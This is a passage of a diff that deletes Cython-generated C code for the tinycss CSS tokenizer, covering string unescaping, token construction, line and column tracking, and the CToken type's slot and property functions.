__pyx_L1_error;} - if (__pyx_t_14) { - __pyx_t_9 = __Pyx_GetItemInt(__pyx_v_value, 0, sizeof(long), PyInt_FromLong); if (!__pyx_t_9) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 152; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __pyx_t_3 = ((PySequence_Contains(((PyObject *)__pyx_kp_u_11), __pyx_t_9))); if (unlikely(__pyx_t_3 < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 152; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __pyx_t_13 = __pyx_t_3; - } else { - __pyx_t_13 = __pyx_t_14; - } - if (__pyx_t_13) { - - /* "tinycss/speedups.pyx":153 - * value = match.group(1) - * if value and value[0] in '"\'': - * value = value[1:-1] # Remove quotes # <<<<<<<<<<<<<< - * value = newline_unescape(value) - * value = simple_unescape(value) - */ - __pyx_t_9 = __Pyx_PySequence_GetSlice(__pyx_v_value, 1, -1); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 153; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_9; - __pyx_t_9 = 0; - - /* "tinycss/speedups.pyx":154 - * if value and value[0] in '"\'': - * value = value[1:-1] # Remove quotes - * value = newline_unescape(value) # <<<<<<<<<<<<<< - * value = simple_unescape(value) - * value = unicode_unescape(value) - */ - __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 154; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_9)); - __Pyx_INCREF(__pyx_v_value); - PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __pyx_t_5 = PyObject_Call(__pyx_v_newline_unescape, ((PyObject *)__pyx_t_9), NULL); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 154; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(((PyObject *)__pyx_t_9)); __pyx_t_9 = 0; - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_5; - __pyx_t_5 = 0; - goto __pyx_L18; - } - __pyx_L18:; - - /* "tinycss/speedups.pyx":155 - * value = value[1:-1] # Remove quotes - * value = newline_unescape(value) - * value = simple_unescape(value) # <<<<<<<<<<<<<< - * value = unicode_unescape(value) - * elif type_ == STRING: - */ - __pyx_t_5 = PyTuple_New(1); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 155; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_5)); - __Pyx_INCREF(__pyx_v_value); - PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __pyx_t_9 = PyObject_Call(__pyx_v_simple_unescape, ((PyObject *)__pyx_t_5), NULL); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 155; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(((PyObject *)__pyx_t_5)); __pyx_t_5 = 0; - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_9; - __pyx_t_9 = 0; - - /* "tinycss/speedups.pyx":156 - * value = newline_unescape(value) - * value = simple_unescape(value) - * value = unicode_unescape(value) # <<<<<<<<<<<<<< - * elif type_ == STRING: - * value = css_value[1:-1] # Remove quotes - */ - __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 156; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_9)); - __Pyx_INCREF(__pyx_v_value); - PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __pyx_t_5 = PyObject_Call(__pyx_v_unicode_unescape, ((PyObject *)__pyx_t_9), NULL); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 156; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(((PyObject *)__pyx_t_9)); __pyx_t_9 = 0; - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_5; - __pyx_t_5 = 0; - goto __pyx_L16; - } - - /* "tinycss/speedups.pyx":157 - * value = simple_unescape(value) - * value = unicode_unescape(value) - * elif type_ == STRING: # <<<<<<<<<<<<<< - * value = css_value[1:-1] # Remove quotes - * value = newline_unescape(value) - */ - __pyx_t_13 = (__pyx_v_type_ == __pyx_v_STRING); - if (__pyx_t_13) { - - /* "tinycss/speedups.pyx":158 - * value = unicode_unescape(value) - * elif type_ == STRING: - * value = css_value[1:-1] # Remove quotes # <<<<<<<<<<<<<< - * value = newline_unescape(value) - * value = simple_unescape(value) - */ - __pyx_t_5 = __Pyx_PySequence_GetSlice(__pyx_v_css_value, 1, -1); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 158; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __Pyx_XDECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_5; - __pyx_t_5 = 0; - - /* "tinycss/speedups.pyx":159 - * elif type_ == STRING: - * value = css_value[1:-1] # Remove quotes - * value = newline_unescape(value) # <<<<<<<<<<<<<< - * value = simple_unescape(value) - * value = unicode_unescape(value) - */ - __pyx_t_5 = PyTuple_New(1); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 159; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_5)); - __Pyx_INCREF(__pyx_v_value); - PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __pyx_t_9 = PyObject_Call(__pyx_v_newline_unescape, ((PyObject *)__pyx_t_5), NULL); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 159; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(((PyObject *)__pyx_t_5)); __pyx_t_5 = 0; - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_9; - __pyx_t_9 = 0; - - /* "tinycss/speedups.pyx":160 - * value = css_value[1:-1] # Remove quotes - * value = newline_unescape(value) - * value = simple_unescape(value) # <<<<<<<<<<<<<< - * value = unicode_unescape(value) - * # BAD_STRING can only be one of: - */ - __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 160; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_9)); - __Pyx_INCREF(__pyx_v_value); - PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __pyx_t_5 = PyObject_Call(__pyx_v_simple_unescape, ((PyObject *)__pyx_t_9), NULL); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 160; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(((PyObject *)__pyx_t_9)); __pyx_t_9 = 0; - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_5; - __pyx_t_5 = 0; - - /* "tinycss/speedups.pyx":161 - * value = newline_unescape(value) - * value = simple_unescape(value) - * value = unicode_unescape(value) # <<<<<<<<<<<<<< - * # BAD_STRING can only be one of: - * # * Unclosed string at the end of the stylesheet: - */ - __pyx_t_5 = PyTuple_New(1); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 161; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_5)); - __Pyx_INCREF(__pyx_v_value); - PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __pyx_t_9 = PyObject_Call(__pyx_v_unicode_unescape, ((PyObject *)__pyx_t_5), NULL); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 161; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(((PyObject *)__pyx_t_5)); __pyx_t_5 = 0; - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_9; - __pyx_t_9 = 0; - goto __pyx_L16; - } - - /* "tinycss/speedups.pyx":170 - * # Leave it as a BAD_STRING, dont bother parsing it. - * # See http://www.w3.org/TR/CSS21/syndata.html#parsing-errors - * elif type_ == BAD_STRING and next_pos == source_len: # <<<<<<<<<<<<<< - * type_name = 'STRING' - * value = css_value[1:] # Remove quote - */ - __pyx_t_13 = (__pyx_v_type_ == __pyx_v_BAD_STRING); - if (__pyx_t_13) { - __pyx_t_14 = (__pyx_v_next_pos == __pyx_v_source_len); - __pyx_t_3 = __pyx_t_14; - } else { - __pyx_t_3 = __pyx_t_13; - } - if (__pyx_t_3) { - - /* "tinycss/speedups.pyx":171 - * # See http://www.w3.org/TR/CSS21/syndata.html#parsing-errors - * elif type_ == BAD_STRING and next_pos == source_len: - * type_name = 'STRING' # <<<<<<<<<<<<<< - * value = css_value[1:] # Remove quote - * value = newline_unescape(value) - */ - __Pyx_INCREF(((PyObject *)__pyx_n_u__STRING)); - __Pyx_DECREF(__pyx_v_type_name); - __pyx_v_type_name = ((PyObject *)__pyx_n_u__STRING); - - /* "tinycss/speedups.pyx":172 - * elif type_ == BAD_STRING and next_pos == source_len: - * type_name = 'STRING' - * value = css_value[1:] # Remove quote # <<<<<<<<<<<<<< - * value = newline_unescape(value) - * value = simple_unescape(value) - */ - __pyx_t_9 = __Pyx_PySequence_GetSlice(__pyx_v_css_value, 1, PY_SSIZE_T_MAX); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 172; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_XDECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_9; - __pyx_t_9 = 0; - - /* "tinycss/speedups.pyx":173 - * type_name = 'STRING' - * value = css_value[1:] # Remove quote - * value = newline_unescape(value) # <<<<<<<<<<<<<< - * value = simple_unescape(value) - * value = unicode_unescape(value) - */ - __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 173; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_9)); - __Pyx_INCREF(__pyx_v_value); - PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __pyx_t_5 = PyObject_Call(__pyx_v_newline_unescape, ((PyObject *)__pyx_t_9), NULL); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 173; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(((PyObject *)__pyx_t_9)); __pyx_t_9 = 0; - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_5; - __pyx_t_5 = 0; - - /* "tinycss/speedups.pyx":174 - * value = css_value[1:] # Remove quote - * value = newline_unescape(value) - * value = simple_unescape(value) # <<<<<<<<<<<<<< - * value = unicode_unescape(value) - * else: - */ - __pyx_t_5 = PyTuple_New(1); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 174; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_5)); - __Pyx_INCREF(__pyx_v_value); - PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __pyx_t_9 = PyObject_Call(__pyx_v_simple_unescape, ((PyObject *)__pyx_t_5), NULL); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 174; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(((PyObject *)__pyx_t_5)); __pyx_t_5 = 0; - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_9; - __pyx_t_9 = 0; - - /* "tinycss/speedups.pyx":175 - * value = newline_unescape(value) - * value = simple_unescape(value) - * value = unicode_unescape(value) # <<<<<<<<<<<<<< - * else: - * value = css_value - */ - __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 175; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_9)); - __Pyx_INCREF(__pyx_v_value); - PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __pyx_t_5 = PyObject_Call(__pyx_v_unicode_unescape, ((PyObject *)__pyx_t_9), NULL); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 175; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(((PyObject *)__pyx_t_9)); __pyx_t_9 = 0; - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_5; - __pyx_t_5 = 0; - goto __pyx_L16; - } - /*else*/ { - - /* "tinycss/speedups.pyx":177 - * value = unicode_unescape(value) - * else: - * value = css_value # <<<<<<<<<<<<<< - * token = CToken(type_name, css_value, value, unit, line, column) - * tokens.append(token) - */ - __Pyx_INCREF(__pyx_v_css_value); - __Pyx_XDECREF(__pyx_v_value); - __pyx_v_value = __pyx_v_css_value; - } - __pyx_L16:; - - /* "tinycss/speedups.pyx":178 - * else: - * value = css_value - * token = CToken(type_name, css_value, value, unit, line, column) # <<<<<<<<<<<<<< - * tokens.append(token) - * - */ - __pyx_t_5 = PyInt_FromSsize_t(__pyx_v_line); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 178; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __pyx_t_9 = PyInt_FromSsize_t(__pyx_v_column); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 178; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __pyx_t_1 = PyTuple_New(6); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 178; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_1)); - __Pyx_INCREF(__pyx_v_type_name); - PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_v_type_name); - __Pyx_GIVEREF(__pyx_v_type_name); - __Pyx_INCREF(__pyx_v_css_value); - PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_v_css_value); - __Pyx_GIVEREF(__pyx_v_css_value); - __Pyx_INCREF(__pyx_v_value); - PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __Pyx_INCREF(__pyx_v_unit); - PyTuple_SET_ITEM(__pyx_t_1, 3, __pyx_v_unit); - __Pyx_GIVEREF(__pyx_v_unit); - PyTuple_SET_ITEM(__pyx_t_1, 4, __pyx_t_5); - __Pyx_GIVEREF(__pyx_t_5); - PyTuple_SET_ITEM(__pyx_t_1, 5, __pyx_t_9); - __Pyx_GIVEREF(__pyx_t_9); - __pyx_t_5 = 0; - __pyx_t_9 = 0; - __pyx_t_9 = PyObject_Call(((PyObject *)((PyObject*)__pyx_ptype_7tinycss_8speedups_CToken)), ((PyObject *)__pyx_t_1), NULL); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 178; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(((PyObject *)__pyx_t_1)); __pyx_t_1 = 0; - __Pyx_XDECREF(((PyObject *)__pyx_v_token)); - __pyx_v_token = ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_t_9); - __pyx_t_9 = 0; - - /* "tinycss/speedups.pyx":179 - * value = css_value - * token = CToken(type_name, css_value, value, unit, line, column) - * tokens.append(token) # <<<<<<<<<<<<<< - * - * pos = next_pos - */ - if (unlikely(((PyObject *)__pyx_v_tokens) == Py_None)) { - PyErr_Format(PyExc_AttributeError, "'NoneType' object has no attribute '%s'", "append"); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 179; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - } - __pyx_t_16 = PyList_Append(__pyx_v_tokens, ((PyObject *)__pyx_v_token)); if (unlikely(__pyx_t_16 == -1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 179; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - goto __pyx_L15; - } - __pyx_L15:; - - /* "tinycss/speedups.pyx":181 - * tokens.append(token) - * - * pos = next_pos # <<<<<<<<<<<<<< - * newlines = list(find_newlines(css_value)) - * if newlines: - */ - __pyx_v_pos = __pyx_v_next_pos; - - /* "tinycss/speedups.pyx":182 - * - * pos = next_pos - * newlines = list(find_newlines(css_value)) # <<<<<<<<<<<<<< - * if newlines: - * line += len(newlines) - */ - __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 182; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_9)); - __Pyx_INCREF(__pyx_v_css_value); - PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_v_css_value); - __Pyx_GIVEREF(__pyx_v_css_value); - __pyx_t_1 = PyObject_Call(__pyx_v_find_newlines, ((PyObject *)__pyx_t_9), NULL); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 182; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __Pyx_DECREF(((PyObject *)__pyx_t_9)); __pyx_t_9 = 0; - __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 182; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_9)); - PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_1); - __Pyx_GIVEREF(__pyx_t_1); - __pyx_t_1 = 0; - __pyx_t_1 = PyObject_Call(((PyObject *)((PyObject*)(&PyList_Type))), ((PyObject *)__pyx_t_9), NULL); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 182; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __Pyx_DECREF(((PyObject *)__pyx_t_9)); __pyx_t_9 = 0; - __Pyx_XDECREF(((PyObject *)__pyx_v_newlines)); - __pyx_v_newlines = ((PyObject*)__pyx_t_1); - __pyx_t_1 = 0; - - /* "tinycss/speedups.pyx":183 - * pos = next_pos - * newlines = list(find_newlines(css_value)) - * if newlines: # <<<<<<<<<<<<<< - * line += len(newlines) - * # Add 1 to have lines start at column 1, not 0 - */ - __pyx_t_3 = (((PyObject *)__pyx_v_newlines) != Py_None) && (PyList_GET_SIZE(((PyObject *)__pyx_v_newlines)) != 0); - if (__pyx_t_3) { - - /* "tinycss/speedups.pyx":184 - * newlines = list(find_newlines(css_value)) - * if newlines: - * line += len(newlines) # <<<<<<<<<<<<<< - * # Add 1 to have lines start at column 1, not 0 - * column = length - newlines[-1].end() + 1 - */ - if (unlikely(((PyObject *)__pyx_v_newlines) == Py_None)) { - PyErr_SetString(PyExc_TypeError, "object of type 'NoneType' has no len()"); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 184; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - } - __pyx_t_2 = PyList_GET_SIZE(((PyObject *)__pyx_v_newlines)); - __pyx_v_line = (__pyx_v_line + __pyx_t_2); - - /* "tinycss/speedups.pyx":186 - * line += len(newlines) - * # Add 1 to have lines start at column 1, not 0 - * column = length - newlines[-1].end() + 1 # <<<<<<<<<<<<<< - * else: - * column += length - */ - __pyx_t_1 = PyInt_FromSsize_t(__pyx_v_length); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 186; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_9 = __Pyx_GetItemInt_List(((PyObject *)__pyx_v_newlines), -1, sizeof(long), PyInt_FromLong); if (!__pyx_t_9) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 186; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __pyx_t_5 = PyObject_GetAttr(__pyx_t_9, __pyx_n_s__end); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 186; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __pyx_t_9 = PyObject_Call(__pyx_t_5, ((PyObject *)__pyx_empty_tuple), NULL); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 186; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = PyNumber_Subtract(__pyx_t_1, __pyx_t_9); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 186; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __pyx_t_9 = PyNumber_Add(__pyx_t_5, __pyx_int_1); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 186; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_9); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 186; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __pyx_v_column = __pyx_t_2; - goto __pyx_L19; - } - /*else*/ { - - /* "tinycss/speedups.pyx":188 - * column = length - newlines[-1].end() + 1 - * else: - * column += length # <<<<<<<<<<<<<< - * return tokens - */ - __pyx_v_column = (__pyx_v_column + __pyx_v_length); - } - __pyx_L19:; - } - - /* "tinycss/speedups.pyx":189 - * else: - * column += length - * return tokens # <<<<<<<<<<<<<< - */ - __Pyx_XDECREF(__pyx_r); - __Pyx_INCREF(((PyObject *)__pyx_v_tokens)); - __pyx_r = ((PyObject *)__pyx_v_tokens); - goto __pyx_L0; - - __pyx_r = Py_None; __Pyx_INCREF(Py_None); - goto __pyx_L0; - __pyx_L1_error:; - __Pyx_XDECREF(__pyx_t_1); - __Pyx_XDECREF(__pyx_t_5); - __Pyx_XDECREF(__pyx_t_6); - __Pyx_XDECREF(__pyx_t_7); - __Pyx_XDECREF(__pyx_t_9); - __Pyx_XDECREF(__pyx_t_10); - __Pyx_AddTraceback("tinycss.speedups.tokenize_flat", __pyx_clineno, __pyx_lineno, __pyx_filename); - __pyx_r = NULL; - __pyx_L0:; - __Pyx_XDECREF(__pyx_v_tokens_dispatch); - __Pyx_XDECREF(__pyx_v_compiled_token_indexes); - __Pyx_XDECREF(__pyx_v_compiled_tokens); - __Pyx_XDECREF(__pyx_v_unicode_unescape); - __Pyx_XDECREF(__pyx_v_newline_unescape); - __Pyx_XDECREF(__pyx_v_simple_unescape); - __Pyx_XDECREF(__pyx_v_find_newlines); - __Pyx_XDECREF((PyObject *)__pyx_v_token); - __Pyx_XDECREF(__pyx_v_tokens); - __Pyx_XDECREF(__pyx_v_char); - __Pyx_XDECREF(__pyx_v_type_name); - __Pyx_XDECREF(__pyx_v_css_value); - __Pyx_XDECREF(__pyx_v_codepoint); - __Pyx_XDECREF(__pyx_v_regexp); - __Pyx_XDECREF(__pyx_v_match); - __Pyx_XDECREF(__pyx_v_unit); - __Pyx_XDECREF(__pyx_v_value); - __Pyx_XDECREF(__pyx_v_newlines); - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static PyObject *__pyx_tp_new_7tinycss_8speedups_CToken(PyTypeObject *t, PyObject *a, PyObject *k) { - struct __pyx_obj_7tinycss_8speedups_CToken *p; - PyObject *o = (*t->tp_alloc)(t, 0); - if (!o) return 0; - p = ((struct __pyx_obj_7tinycss_8speedups_CToken *)o); - p->type = Py_None; Py_INCREF(Py_None); - p->_as_css = Py_None; Py_INCREF(Py_None); - p->value = Py_None; Py_INCREF(Py_None); - p->unit = Py_None; Py_INCREF(Py_None); - return o; -} - -static void __pyx_tp_dealloc_7tinycss_8speedups_CToken(PyObject *o) { - struct __pyx_obj_7tinycss_8speedups_CToken *p = (struct __pyx_obj_7tinycss_8speedups_CToken *)o; - Py_XDECREF(p->type); - Py_XDECREF(p->_as_css); - Py_XDECREF(p->value); - Py_XDECREF(p->unit); - (*Py_TYPE(o)->tp_free)(o); -} - -static int __pyx_tp_traverse_7tinycss_8speedups_CToken(PyObject *o, visitproc v, void *a) { - int e; - struct __pyx_obj_7tinycss_8speedups_CToken *p = (struct __pyx_obj_7tinycss_8speedups_CToken *)o; - if (p->type) { - e = (*v)(p->type, a); if (e) return e; - } - if (p->_as_css) { - e = (*v)(p->_as_css, a); if (e) return e; - } - if (p->value) { - e = (*v)(p->value, a); if (e) return e; - } - if (p->unit) { - e = (*v)(p->unit, a); if (e) return e; - } - return 0; -} - -static int __pyx_tp_clear_7tinycss_8speedups_CToken(PyObject *o) { - struct __pyx_obj_7tinycss_8speedups_CToken *p = (struct __pyx_obj_7tinycss_8speedups_CToken *)o; - PyObject* tmp; - tmp = ((PyObject*)p->type); - p->type = Py_None; Py_INCREF(Py_None); - Py_XDECREF(tmp); - tmp = ((PyObject*)p->_as_css); - p->_as_css = Py_None; Py_INCREF(Py_None); - Py_XDECREF(tmp); - tmp = ((PyObject*)p->value); - p->value = Py_None; Py_INCREF(Py_None); - Py_XDECREF(tmp); - tmp = ((PyObject*)p->unit); - p->unit = Py_None; Py_INCREF(Py_None); - Py_XDECREF(tmp); - return 0; -} - -static PyObject *__pyx_getprop_7tinycss_8speedups_6CToken_type(PyObject *o, void *x) { - return __pyx_pf_7tinycss_8speedups_6CToken_4type___get__(o); -} - -static int __pyx_setprop_7tinycss_8speedups_6CToken_type(PyObject *o, PyObject *v, void *x) { - if (v) { - return __pyx_pf_7tinycss_8speedups_6CToken_4type_1__set__(o, v); - } - else { - return __pyx_pf_7tinycss_8speedups_6CToken_4type_2__del__(o); - } -} - -static PyObject *__pyx_getprop_7tinycss_8speedups_6CToken__as_css(PyObject *o, void *x) { - return __pyx_pf_7tinycss_8speedups_6CToken_7_as_css___get__(o); -} - -static int __pyx_setprop_7tinycss_8speedups_6CToken__as_css(PyObject *o, PyObject *v, void *x) { - if (v) { - return __pyx_pf_7tinycss_8speedups_6CToken_7_as_css_1__set__(o, v); - } - else { - return __pyx_pf_7tinycss_8speedups_6CToken_7_as_css_2__del__(o); - } -} - -static PyObject *__pyx_getprop_7tinycss_8speedups_6CToken_value(PyObject *o, void *x) { - return __pyx_pf_7tinycss_8speedups_6CToken_5value___get__(o); -} - -static int __pyx_setprop_7tinycss_8speedups_6CToken_value(PyObject *o, PyObject *v, void *x) { - if (v) { - return __pyx_pf_7tinycss_8speedups_6CToken_5value_1__set__(o, v); - } - else { - return __pyx_pf_7tinycss_8speedups_6CToken_5value_2__del__(o); - } -} - -static PyObject *__pyx_getprop_7tinycss_8speedups_6CToken_unit(PyObject *o, void *x) { - return __pyx_pf_7tinycss_8speedups_6CToken_4unit___get__(o); -} - -static int __pyx_setprop_7tinycss_8speedups_6CToken_unit(PyObject *o, PyObject *v, void *x) { - if (v) { - return __pyx_pf_7tinycss_8speedups_6CToken_4unit_1__set__(o, v); - } - else { - return __pyx_pf_7tinycss_8speedups_6CToken_4unit_2__del__(o); - } -} - -static PyObject *__pyx_getprop_7tinycss_8speedups_6CToken_line(PyObject *o, void *x) { - return __pyx_pf_7tinycss_8speedups_6CToken_4line___get__(o); -} - -static int __pyx_setprop_7tinycss_8speedups_6CToken_line(PyObject *o, 